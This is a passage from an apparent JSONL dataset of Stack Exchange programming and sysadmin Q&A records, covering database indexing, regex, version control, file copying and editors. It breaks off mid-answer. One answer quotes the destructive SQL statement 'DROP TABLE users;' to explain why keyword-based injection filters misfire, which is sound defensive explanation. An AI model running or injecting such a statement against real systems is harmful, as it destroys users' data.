\"Modify Binary Data\"\nclick at the end of the hex string\nenter 0000 (four zeros)\nOK\nClose\n```\nREGEDT32/REGEDIT\n```\nand reboot to delete the file.\n(Shamelessly stolen from\nsome random forum\n, for posterity's sake.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.107576"}
{"id": "hf_6ac55cb76c11", "question": "<p>For instance, my query is like the following using SQL Server 2005:</p>\n\n<pre><code>SELECT * FROM Table WHERE FREETEXT(SearchField, 'c#') \n</code></pre>\n\n<p>I have a full text index defined to use the column SearchField which returns results when using:</p>\n\n<pre><code>SELECT * FROM Table WHERE SearchField LIKE '%c#%'\n</code></pre>\n\n<p>I believe # is a special letter, so how do I allow FREETEXT to work correctly for the query above?</p>\n", "question_body": "", "answer": "Quoting a much-replicated help page about Indexing Service query language:\nTo use specially treated characters such as &, |, ^, #, @, $, (, ), in a query, enclose your query in quotation marks (“).\nAs far as I know, full text search in\n```\nMSSQL\n```\nis also done by the Indexing Service, so this might help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.145027"}
{"id": "hf_fd162af80eef", "question": "<p>Most mathematicians agree that:</p>\n\n<blockquote>\n  <p>e<sup>πi</sup> + 1 = 0</p>\n</blockquote>\n\n<p>However, most floating point implementations disagree. How well can we settle this dispute?</p>\n\n<p>I'm keen to hear about different languages and implementations, and various methods to make the result as close to zero as possible. Be creative!</p>\n", "question_body": "", "answer": "Here's a short list of implementations and languages I've tried. It's sorted by closeness to zero:\nScheme:\n```\n(+ 1 (make-polar 1 (atan 0 -1)))\n```\n⇒\n```\n0.0+1.2246063538223773e-16i\n```\n(Chez Scheme, MIT Scheme)\n⇒\n```\n0.0+1.22460635382238e-16i\n```\n(Guile)\n⇒\n```\n0.0+1.22464679914735e-16i\n```\n(Chicken with\n```\nnumbers\n```\negg)\n⇒\n```\n0.0+1.2246467991473532e-16i\n```\n(MzScheme, SISC, Gauche, Gambit)\n⇒\n```\n0.0+1.2246467991473533e-16i\n```\n(SCM)\nCommon Lisp:\n```\n(1+ (exp (complex 0 pi)))\n```\n⇒\n```\n#C(0.0L0 -5.0165576136843360246L-20)\n```\n(CLISP)\n⇒\n```\n#C(0.0d0 1.2246063538223773d-16)\n```\n(CMUCL)\n⇒\n```\n#C(0.0d0 1.2246467991473532d-16)\n```\n(SBCL)\nPerl:\n```\nuse Math::Complex; Math::Complex->emake(1, pi) + 1\n```\n⇒\n```\n1.22464679914735e-16i\n```\nPython:\n```\nfrom cmath import exp, pi; exp(complex(0, pi)) + 1\n```\n⇒\n```\n1.2246467991473532e-16j\n```\n(CPython)\nRuby:\n```\nrequire 'complex'; Complex::polar(1, Math::PI) + 1\n```\n⇒\n```\nComplex(0.0, 1.22464679914735e-16)\n```\n(MRI)\n⇒\n```\nComplex(0.0, 1.2246467991473532e-16)\n```\n(JRuby)\nR:\n```\ncomplex(argument = pi) + 1\n```\n⇒\n```\n0+1.224606353822377e-16i\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.173336"}
{"id": "hf_fa1b174a389a", "question": "<p>What is the correct way to get the process size on <code>Solaris, HP-UX</code> and <code>AIX</code>? Should we use <code>top</code> or <code>ps -o vsz</code> or something else?</p>\n", "question_body": "", "answer": "Yes, you are right to lock at the VSZ.\n```\nps u\n```\nwill give you the VSZ and RSS, which are the virtual memory size and resident set size.  The RSS is how much physical memory has been allocated to the process, and the VSZ is the virtual memory size of the process.  If you have several copies of a program running, a lot of the memory in the VSZ will be shared between those processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.223238"}
{"id": "hf_903dabb02c5d", "question": "<p>Given that indexing is so important as your data set increases in size, can someone explain how indexing works at a database-agnostic level?</p>\n\n<p>For information on queries to index a field, check out <a href=\"https://stackoverflow.com/questions/1156/\">How do I index a database column</a>.</p>\n", "question_body": "", "answer": "Why is it needed?\nWhen data is stored on disk-based storage devices, it is stored as blocks of data. These blocks are accessed in their entirety, making them the atomic disk access operation. Disk blocks are structured in much the same way as linked lists; both contain a section for data, a pointer to the location of the next node (or block), and both need not be stored contiguously.\nDue to the fact that a number of records can only be sorted on one field, we can state that searching on a field that isn’t sorted requires a Linear Search which requires\n```\n(N+1)/2\n```\nblock accesses (on average), where\n```\nN\n```\nis the number of blocks that the table spans. If that field is a non-key field (i.e. doesn’t contain unique entries) then the entire tablespace must be searched at\n```\nN\n```\nblock accesses.\nWhereas with a sorted field, a Binary Search may be used, which has\n```\nlog2 N\n```\nblock accesses. Also since the data is sorted given a non-key field, the rest of the table doesn’t need to be searched for duplicate values, once a higher value is found. Thus the performance increase is substantial.\nWhat is indexing?\nIndexing is a way of sorting a number of records on multiple fields. Creating an index on a field in a table creates another data structure which holds the field value, and a pointer to the record it relates to. This index structure is then sorted, allowing Binary Searches to be performed on it.\nThe downside to indexing is that these indices require additional space on the disk since the indices are stored together in a table using the MyISAM engine, this file can quickly reach the size limits of the underlying file system if many fields within the same table are indexed.\nHow does it work?\nFirstly, let’s outline a sample database table schema;\n```\nField name       Data type      Size on disk\nid (Primary key) Unsigned INT   4 bytes\nfirstName        Char(50)       50 bytes\nlastName         Char(50)       50 bytes\nemailAddress     Char(100)      100 bytes\n```\nNote\n: char was used in place of varchar to allow for an accurate size on disk value.\nThis sample database contains five million rows and is unindexed. The performance of several queries will now be analyzed. These are a query using the\nid\n(a sorted key field) and one using the\nfirstName\n(a non-key unsorted field).\nExample 1\n-\nsorted vs unsorted fields\nGiven our sample database of\n```\nr = 5,000,000\n```\nrecords of a fixed size giving a record length of\n```\nR = 204\n```\nbytes and they are stored in a table using the MyISAM engine which is using the default block size\n```\nB = 1,024\n```\nbytes. The blocking factor of the table would be\n```\nbfr = (B/R) = 1024/204 = 5\n```\nrecords per disk block. The total number of blocks required to hold the table is\n```\nN = (r/bfr) = 5000000/5 = 1,000,000\n```\nblocks.\nA linear search on the id field would require an average of\n```\nN/2 = 500,000\n```\nblock accesses to find a value, given that the id field is a key field. But since the id field is also sorted, a binary search can be conducted requiring an average of\n```\nlog2 1000000 = 19.93 = 20\n```\nblock accesses. Instantly we can see this is a drastic improvement.\nNow the\nfirstName\nfield is neither sorted nor a key field, so a binary search is impossible, nor are the values unique, and thus the table will require searching to the end for an exact\n```\nN = 1,000,000\n```\nblock accesses. It is this situation that indexing aims to correct.\nGiven that an index record contains only the indexed field and a pointer to the original record, it stands to reason that it will be smaller than the multi-field record that it points to. So the index itself requires fewer disk blocks than the original table, which therefore requires fewer block accesses to iterate through. The schema for an index on the\nfirstName\nfield is outlined below;\n```\nField name       Data type      Size on disk\nfirstName        Char(50)       50 bytes\n(record pointer) Special        4 bytes\n```\nNote\n: Pointers in MySQL are 2, 3, 4 or 5 bytes in length depending on the size of the table.\nExample 2\n-\nindexing\nGiven our sample database of\n```\nr = 5,000,000\n```\nrecords with an index record length of\n```\nR = 54\n```\nbytes and using the default block size\n```\nB = 1,024\n```\nbytes. The blocking factor of the index would be\n```\nbfr = (B/R) = 1024/54 = 18\n```\nrecords per disk block. The total number of blocks required to hold the index is\n```\nN = (r/bfr) = 5000000/18 = 277,778\n```\nblocks.\nNow a search using the\nfirstName\nfield can utilize the index to increase performance. This allows for a binary search of the index with an average of\n```\nlog2 277778 = 18.08 = 19\n```\nblock accesses. To find the address of the actual record, which requires a further block access to read, bringing the total to\n```\n19 + 1 = 20\n```\nblock accesses, a far cry from the 1,000,000 block accesses required to find a\nfirstName\nmatch in the non-indexed table.\nWhen should it be used?\nGiven that creating an index requires additional disk space (277,778 blocks extra from the above example, a ~28% increase), and that too many indices can cause issues arising from the file systems size limits, careful thought must be used to select the correct fields to index.\nSince indices are only used to speed up the searching for a matching field within the records, it stands to reason that indexing fields used only for output would be simply a waste of disk space and processing time when doing an insert or delete operation, and thus should be avoided. Also given the nature of a binary search, the cardinality or uniqueness of the data is important. Indexing on a field with a cardinality of 2 would split the data in half, whereas a cardinality of 1,000 would return approximately 1,000 records. With such a low cardinality the effectiveness is reduced to a linear sort, and the query optimizer will avoid using the index if the cardinality is less than 30% of the record number, effectively making the index a waste of space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.271080"}
{"id": "hf_a8a2f81ac49b", "question": "<p>Hopefully, I can get answers for each database server.</p>\n\n<p>For an outline of how indexing works check out: <a href=\"https://stackoverflow.com/questions/1108/how-does-database-indexing-work\">How does database indexing work?</a></p>\n", "question_body": "", "answer": "The following is SQL92 standard so should be supported by the majority of RDMBS that use SQL:\n```\n```\nCREATE INDEX [index name] ON [table name] ( [column name] )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.321520"}
{"id": "hf_7ab7b96393ef", "question": "<p>One of the sites I maintain relies heavily on the use of <code>ViewState</code> (it isn't my code). However, on certain pages where the <code>ViewState</code> is extra-bloated, Safari throws a <code>\"Validation of viewstate MAC failed\"</code> error.</p>\n\n<p>This appears to only happen in Safari. Firefox, IE and Opera all load successfully in the same scenario.</p>\n", "question_body": "", "answer": "I've been doing a little research into this and whilst I'm not entirely sure its the cause I believe it is because Safari is not returning the full result set (hence cropping it).\nI have been in dicussion with another developer and found the following post on Channel 9 as well which recommends making use of the SQL State service to store the viewstate avoiding the postback issue and also page size.\nhttp://channel9.msdn.com/forums/TechOff/250549-ASPNET-ViewState-flawed-architecture/?CommentID=270477#263702\nDoes this seem like the best solution?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.380882"}
{"id": "hf_6a3588a8b3bd", "question": "<p>I have a file in the following format:</p>\n\n<pre>\nData Data\nData\n[Start]\nData I want\n[End]\nData\n</pre>\n\n<p>I'd like to grab the <code>Data I want</code> from between the <code>[Start]</code> and <code>[End]</code> tags using a Regex. Can anyone show me how this might be done?</p>\n", "question_body": "", "answer": "```\n```\n\\[start\\](.*?)\\[end\\]\n```\n```\nZhich'll put the text in the middle within a capture.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.416619"}
{"id": "hf_fea270a60643", "question": "<p>My company is using CVS as our de-facto standard for source control. However, I've heard a lot of people say that SVN is better.</p>\n\n<p>I know SVN is newer, but other than that, I'm unfamiliar with its benefits.</p>\n\n<p>What I'm looking for is a good, succinct comparison of the two systems, noting any advantages or disadvantages of each in a Java/Eclipse development environment.</p>\n", "question_body": "", "answer": "One of the many comparisons:\nhttp://wiki.scummvm.org/index.php/CVS_vs_SVN\nNow this is very specific to that project, but a lot of stuff apllies in general.\nPro Subversion:\nSupport for versioned renames/moves (impossible with CVS): Fingolfin, Ender\nSupports directories natively: It's possible to remove them, and they are versioned: Fingolfin, Ender\nFile properties are versioned; no more \"executable bit\" hell: Fingolfin\nOverall revision number makes build versioning and regression testing much easier: Ender, Fingolfin\nAtomic commits: Fingolfin\nIntuitive (directory-based) branching and tagging: Fingolfin\nEasier hook scripts (pre/post commit, etc): SumthinWicked (I use it for Doxygen after commits)\nPrevents accidental committing of conflicted files: Salty-horse, Fingolfin\nSupport for custom 'diff' command: Fingolfin\nOffline diffs, and they're instant: sev", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.450273"}
{"id": "hf_cec750a090fb", "question": "<p>I am looking for a tool that can detect malicious requests (such as obvious SQL injection gets or posts) and will immediately ban the IP address of the requester/add to a blacklist. I am aware that in an ideal world our code should be able to handle such requests and treat them accordingly, but there is a lot of value in such a tool even when the site is safe from these kinds of attacks, as it can lead to saving bandwidth, preventing bloat of analytics, etc.</p>\n\n<p>Ideally, I'm looking for a cross-platform (<code>LAMP/.NET</code>) solution that sits at a higher level than the technology stack; perhaps at the web-server or hardware level. I'm not sure if this exists, though.</p>\n\n<p>Either way, I'd like to hear the community's feedback so that I can see what my options might be with regard to implementation and approach.</p>\n", "question_body": "", "answer": "The problem with a generic tool is that it is very difficult to come up with a set of rules that will only match against a genuine attack.\nSQL keywords are all English words, and don't forget that the string\n```\n```\nDROP TABLE users;\n```\n```\nis perfectly valid in a form field that, for example, contains an answer to a programming question.\nThe only sensible option is to sanitise the input before ever passing it to your database but pass it on nonetheless.  Otherwise lots of perfectly normal, non-malicious users are going to get banned from your site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.488708"}
{"id": "hf_cc2404610c7e", "question": "<p>I have a Queue&lt;T&gt; object that I have initialised to a capacity of 2, but obviously that is just the capacity and it keeps expanding as I add items.  Is there already an object that automatically dequeues an item when the limit is reached, or is the best solution to create my own inherited class?</p>\n", "question_body": "", "answer": "Why wouldn't you just use an array with a size of 2?  A Queue is supposed to be able to dynamically grow and shrink.\nOr create a wrapper class around an instance of\n```\nQueue<T>\n```\ninstance and each time one enqueues a\n```\n<T>\n```\nobject, check the size of the queue.  If larger than 2, dequeue the first item.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.512490"}
{"id": "hf_85e2e9ead2d2", "question": "<p>I am using MSBuild to build my stuff. I want to use CruiseControl.net as by Build Server.</p>\n\n<p>Now, CCNET refers nAnt a lot, but it looks as if ccnet can do most of the stuff nant could do through the project configuration and msbuild. Also, nAnt seems a bit unsupported, with a Beta release that is almost a year old now.</p>\n\n<p>In short: I am actually quite happy with MSBuild (especially since it's the \"official\" compiler front end) and a bit uncomfortable with nAnt, but I do not want to judge prematurely.</p>\n\n<p>What would be reasons to use nAnt over MSBuild? Especially with ccnet, which seems to overlap a bit with nant in terms of features (and adding the automated build related stuff)</p>\n", "question_body": "", "answer": "In my opinion it is more a question of personal preference.  nAnt is a great framework and MSBuild is almost as capable.  With the ability to easily develop custom tasks (in both frameworks) you can accomplish almost anything that you need to do.\nI cannot answer the \"still supported\" portion of your questions, but I would say if you are already comfortable with nAnt then it's probably viable.  If you (or someone in your group) is familiar with MSBuild then that is a fine way to go as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.536219"}
{"id": "hf_fcff9cd479fb", "question": "<p>Is there any way to check whether a file is locked without using a try/catch block?  </p>\n\n<p>Right now, the only way I know of is to just open the file and catch any <code>System.IO.IOException</code>.</p>\n", "question_body": "", "answer": "No, unfortunately, and if you think about it, that information would be worthless anyway since the file could become locked the very next second (read: short timespan).\nWhy specifically do you need to know if the file is locked anyway? Knowing that might give us some other way of giving you good advice.\nIf your code would look like this:\n```\n```\nif not locked then\n    open and update file\n```\n```\nThen between the two lines, another process could easily lock the file, giving you the same problem you were trying to avoid to begin with: exceptions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.558423"}
{"id": "hf_30cd475088de", "question": "<p><a href=\"https://stackoverflow.com/questions/180/function-for-creating-color-wheels\">Original Question</a></p>\n\n<p>I am looking for a function that attempts to quantify how \"distant\" (or distinct) two colors are. This question is really in two parts: </p>\n\n<ol>\n<li>What color space best represents human vision?</li>\n<li>What distance metric in that space best represents human vision (euclidean?)</li>\n</ol>\n", "question_body": "", "answer": "The easiest\ndistance\nwould of course be to just consider the colors as 3d vectors originating from the same origin, and taking the distance between their end points.\nIf you need to consider such factors that green is more prominent in judging intensity, you can weigh the values.\nImageMagic\nprovides the following scales:\nred: 0.3\ngreen: 0.6\nblue: 0.1\nOf course, values like this would only be meaningful in relation to other values for other colors, not as something that would be meaningful to humans, so all you could use the values for would be similiarity ordering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.597540"}
{"id": "hf_817f56496f52", "question": "<p>I need to copy hundreds of gigs of random files around on my computer and am pretty leery of using the vanilla file copy built into Windows.</p>\n\n<p>I don't want it to hang on a \"Are you sure?\", \"Are you really sure?\", \"Even zip files?\", \"Surely not read-only files too!\" loop as soon as I step away.</p>\n\n<p>I don't want it to work for hours and then stop unexpectedly: \"Someone once opened this file and so I won't copy it!\" and then cancel the whole copy or just quit with no indication of what was done and what work remains.</p>\n\n<p>What file management programs do you have experience with?  Which do you recommend?</p>\n\n<p>This question is related to my other question: <a href=\"https://stackoverflow.com/questions/225/how-can-i-use-an-old-pata-hard-disk-drive-on-my-newer-sata-only-computer\">How can I use an old PATA hard disk drive on my newer SATA-only computer?</a></p>\n", "question_body": "", "answer": "Use\nRobocopy (Robust File Copy)\n.\nNOTE:\nIn Windows Vista and Server 2008 when you type:\n```\n```\nxcopy /?\n```\n```\nyou get:\nNOTE: Xcopy is now deprecated, please use Robocopy.\nSo start getting used to robocopy :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.638425"}
{"id": "hf_444d6d76c29d", "question": "<p>I saw many questions asking 'how' to unit test in a specific language, but no question asking 'what', 'why', and 'when'.</p>\n\n<ul>\n<li>What is it?</li>\n<li>What does it do for me?</li>\n<li>Why should I use it?</li>\n<li>When should I use it (also when not)?</li>\n<li>What are some common pitfalls and misconceptions</li>\n</ul>\n", "question_body": "", "answer": "Unit testing is, roughly speaking, testing bits of your code in isolation with test code. The immediate advantages that come to mind are:\nRunning the tests becomes automate-able and repeatable\nYou can test at a much more granular level than point-and-click testing via a GUI\nNote that if your test code writes to a file, opens a database connection or does something over the network, it's more appropriately categorized as an integration test. Integration tests are a good thing, but should not be confused with unit tests. Unit test code should be short, sweet and quick to execute.\nAnother way to look at unit testing is that you write the tests first. This is known as Test-Driven Development (TDD for short). TDD brings additional advantages:\nYou don't write speculative \"I might need this in the future\" code -- just enough to make the tests pass\nThe code you've written is always covered by tests\nBy writing the test first, you're forced into thinking about how you want to call the code, which usually improves the design of the code in the long run.\nIf you're not doing unit testing now, I recommend you get started on it. Get a good book, practically any xUnit-book will do because the concepts are very much transferable between them.\nSometimes writing unit tests can be painful. When it gets that way, try to find someone to help you, and resist the temptation to \"just write the damn code\". Unit testing is a lot like washing the dishes. It's not always pleasant, but it keeps your metaphorical kitchen clean, and you really want it to be clean. :)\nEdit: One misconception comes to mind, although I'm not sure if it's so common. I've heard a project manager say that unit tests made the team write all the code twice. If it looks and feels that way, well, you're doing it wrong. Not only does writing the tests usually speed up development, but it also gives you a convenient \"now I'm done\" indicator that you wouldn't have otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.673239"}
{"id": "hf_175335b560c7", "question": "<p>This is an open-ended question.  What approaches should I consider?</p>\n", "question_body": "", "answer": "There are some parallel extensions to .NET that are currently in testing and available at Microsoft's\nParallel Computing Developer Center\n. They have a few interesting items that you would expect like Parallel foreach and a parallel version of LINQ called PLINQ. Some of the best information about the extensions is on\nChannel 9\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.695022"}
{"id": "hf_0871ebb8f098", "question": "<p>I'm setting up a dedicated SQL Server 2005 box on Windows Server 2008 this week, and would like to pare it down to be as barebones as possible while still being fully functional.</p>\n\n<p>To that end, the \"Server Core\" option sounds appealing, but I'm not clear about whether or not I can run SQL Server on that SKU.  Several services are addressed on the <a href=\"http://www.microsoft.com/windowsserver2008/en/us/compare-core-installation.aspx\" rel=\"noreferrer\">Microsoft website</a>, but I don't see any indication about SQL Server.</p>\n\n<p>Does anyone know definitively?</p>\n", "question_body": "", "answer": "Not sure how credible\nthis source is\n, but:\nThe Windows Server 2008 Core edition can:\nRun the file server role.\nRun the Hyper-V virtualization server role.\nRun the Directory Services role.\nRun the DHCP server role.\nRun the IIS Web server role.\nRun the DNS server role.\nRun Active Directory Lightweight Directory Services.\nRun the print server role.\nThe Windows Server 2008 Core edition cannot:\nRun a SQL Server.\nRun an Exchange Server.\nRun Internet Explorer.\nRun Windows Explorer.\nHost a remote desktop session.\nRun MMC snap-in consoles locally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.716001"}
{"id": "hf_e7fb84556e19", "question": "<p>Is it possible to configure <a href=\"http://www.apachefriends.org/en/xampp.html\" rel=\"noreferrer\">xampp</a> to serve up a file outside of the <code>htdocs</code> directory?</p>\n\n<p>For instance, say I have a file located as follows:</p>\n\n<p><code>C:\\projects\\transitCalculator\\trunk\\TransitCalculator.php</code></p>\n\n<p>and my <a href=\"http://www.apachefriends.org/en/xampp.html\" rel=\"noreferrer\">xampp</a> files are normally served out from:</p>\n\n<p><code>C:\\xampp\\htdocs\\</code></p>\n\n<p>(because that's the default configuration) Is there some way to make Apache recognize and serve up my <code>TransitCalculator.php</code> file without moving it under <code>htdocs</code>? Preferably I'd like Apache to serve up/have access to the entire contents of the projects directory, and I don't want to move the projects directory under <code>htdocs</code>.</p>\n\n<p>edit: edited to add Apache to the question title to make Q/A more \"searchable\"</p>\n", "question_body": "", "answer": "You can set Apache to serve pages from anywhere with any restrictions but it's normally distributed in a more secure form.\nEditing your apache files (http.conf is one of the more common names) will allow you to set any folder so it appears in your webroot.\nEDIT:\nalias myapp c:\\myapp\\\nI've edited my answer to include the format for creating an alias in the http.conf file which is sort of like a shortcut in windows or a symlink under un*x where Apache 'pretends' a folder is in the webroot.  This is probably going to be more useful to you in the long term.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.748157"}
{"id": "hf_1a606225a8fe", "question": "<p>I'm trying to do this (which produces an unexpected T_VARIABLE error):</p>\n\n<pre><code>public function createShipment($startZip, $endZip, $weight = \n$this-&gt;getDefaultWeight()){}\n</code></pre>\n\n<p>I don't want to put a magic number in there for weight since the object I am using has a <code>\"defaultWeight\"</code> parameter that all new shipments get if you don't specify a weight. I can't put the <code>defaultWeight</code> in the shipment itself, because it changes from shipment group to shipment group. Is there a better way to do it than the following?</p>\n\n<pre><code>public function createShipment($startZip, $endZip, weight = 0){\n    if($weight &lt;= 0){\n        $weight = $this-&gt;getDefaultWeight();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "This isn't much better:\n```\n```\npublic function createShipment($startZip, $endZip, $weight=null){\n    $weight = !$weight ? $this->getDefaultWeight() : $weight;\n}\n\n// or...\n\npublic function createShipment($startZip, $endZip, $weight=null){\n    if ( !$weight )\n        $weight = $this->getDefaultWeight();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.784704"}
{"id": "hf_7df284159f0a", "question": "<p>I'm writing an AJAX app, but as the user moves through the app, I'd like the URL in the address bar to update despite the lack of page reloads. Basically, I'd like for them to be able to bookmark at any point and thereby return to the current state. </p>\n\n<p>How are people handling maintaining RESTfulness in AJAX apps? </p>\n", "question_body": "", "answer": "This is similar to what Kevin said.  You can have your client state as some javascript object, and when you want to save the state, you serialize the object (using JSON and base64 encoding).  You can then set the fragment of the href to this string.\n```\n```\nvar encodedState = base64(json(state));\nvar newLocation = oldLocationWithoutFragment + \"#\" + encodedState;\n\ndocument.location = newLocation; // adds new entry in browser history\ndocument.location.replace(newLocation); // replaces current entry in browser history\n```\n```\nThe first way will treat the new state as a new location (so the back button will take them to the previous location).  The latter does not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.808737"}
{"id": "hf_25ff038eb0b4", "question": "<p>How do you express an integer as a binary number with Python literals?</p>\n\n<p>I was easily able to find the answer for hex:</p>\n\n<pre><code>&gt;&gt;&gt; 0x12AF\n4783\n&gt;&gt;&gt; 0x100\n256\n</code></pre>\n\n<p>and octal:</p>\n\n<pre><code>&gt;&gt;&gt; 01267\n695\n&gt;&gt;&gt; 0100\n64\n</code></pre>\n\n<p><strong>How do you use literals to express binary in Python?</strong></p>\n\n<hr>\n\n<p><strong><em>Summary of Answers</em></strong></p>\n\n<ul>\n<li>Python 2.5 and earlier: can express binary using <code>int('01010101111',2)</code> but not with a literal.</li>\n<li>Python 2.5 and earlier: there is <em>no way</em> to express binary literals.</li>\n<li>Python 2.6 beta: You can do like so: <code>0b1100111</code> or <code>0B1100111</code>.</li>\n<li>Python 2.6 beta: will also allow <code>0o27</code> or <code>0O27</code> (second character is the letter O) to represent an octal.</li>\n<li>Python 3.0 beta: Same as 2.6, but will no longer allow the older <code>027</code> syntax for octals.</li>\n</ul>\n", "question_body": "", "answer": "As far as I can tell Python, up through 2.5, only supports hexadecimal & octal literals.  I did find some discussions about adding binary to future versions but nothing definite.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.831182"}
{"id": "hf_f60def10f29e", "question": "<p>For those of us that like to use the graphical version of Vim or Emacs, instead of the console version, which version do you recommend?</p>\n\n<p>For Vim, there's <a href=\"http://sourceforge.net/projects/macosxvim/\" rel=\"nofollow noreferrer\">Mac OS X Vim</a>, <a href=\"http://code.google.com/p/macvim/\" rel=\"nofollow noreferrer\">MacVim</a>, <a href=\"http://code.google.com/p/vim-cocoa/\" rel=\"nofollow noreferrer\">Vim-Cocoa</a>.</p>\n\n<p>For Emacs, <a href=\"http://www.apple.com/downloads/macosx/unix_open_source/carbonemacspackage.html\" rel=\"nofollow noreferrer\">CarbonEmacs</a>, <a href=\"http://www.xemacs.org/\" rel=\"nofollow noreferrer\">XEmacs</a>, and <a href=\"http://aquamacs.org/\" rel=\"nofollow noreferrer\">Aquamacs</a>.</p>\n\n<p>Are there more? Which of these are ready for prime-time? If it's a tough call, what are the trade-offs? Are all of these still being maintained?</p>\n\n<p>No discussion of Vim versus Emacs, if you don't mind, or comparisons with other editors.</p>\n", "question_body": "", "answer": "MacVim\nworks well and certainly looks more mature than Vim-Cocoa, moreover there is a Cocoa plugin architecture in the pipeline for MacVim (and someone is already working on a TextMate style file browser tray plugin which is a huge ++ IMHO).\nThere was also a Carbon version of Vim, but this didn't offer a great deal over the Terminal version. i.e. only allowed one window open, not very OSX in appearance...\nAquamacs\nis very usable and looks pretty good. Supports both traditional Mac OS style keyboard shortcuts (command-O, command-S) and the Control/Meta shortcuts for those raised on traditional Emacs. It is definitely more Mac-like than Carbon Emacs. It seems stable and fast, but I am not an Emacs guru so I don't stress it all that much when I use it. I can't speak to the extensiveness of the included elisp packages, either.\nSomeone syncs Carbon Emacs with the upstream tree quarterly I think. Aquamacs has a more irregular schedule, but it's seen some pretty major updates over the last year.\nGNU Emacs\nfor 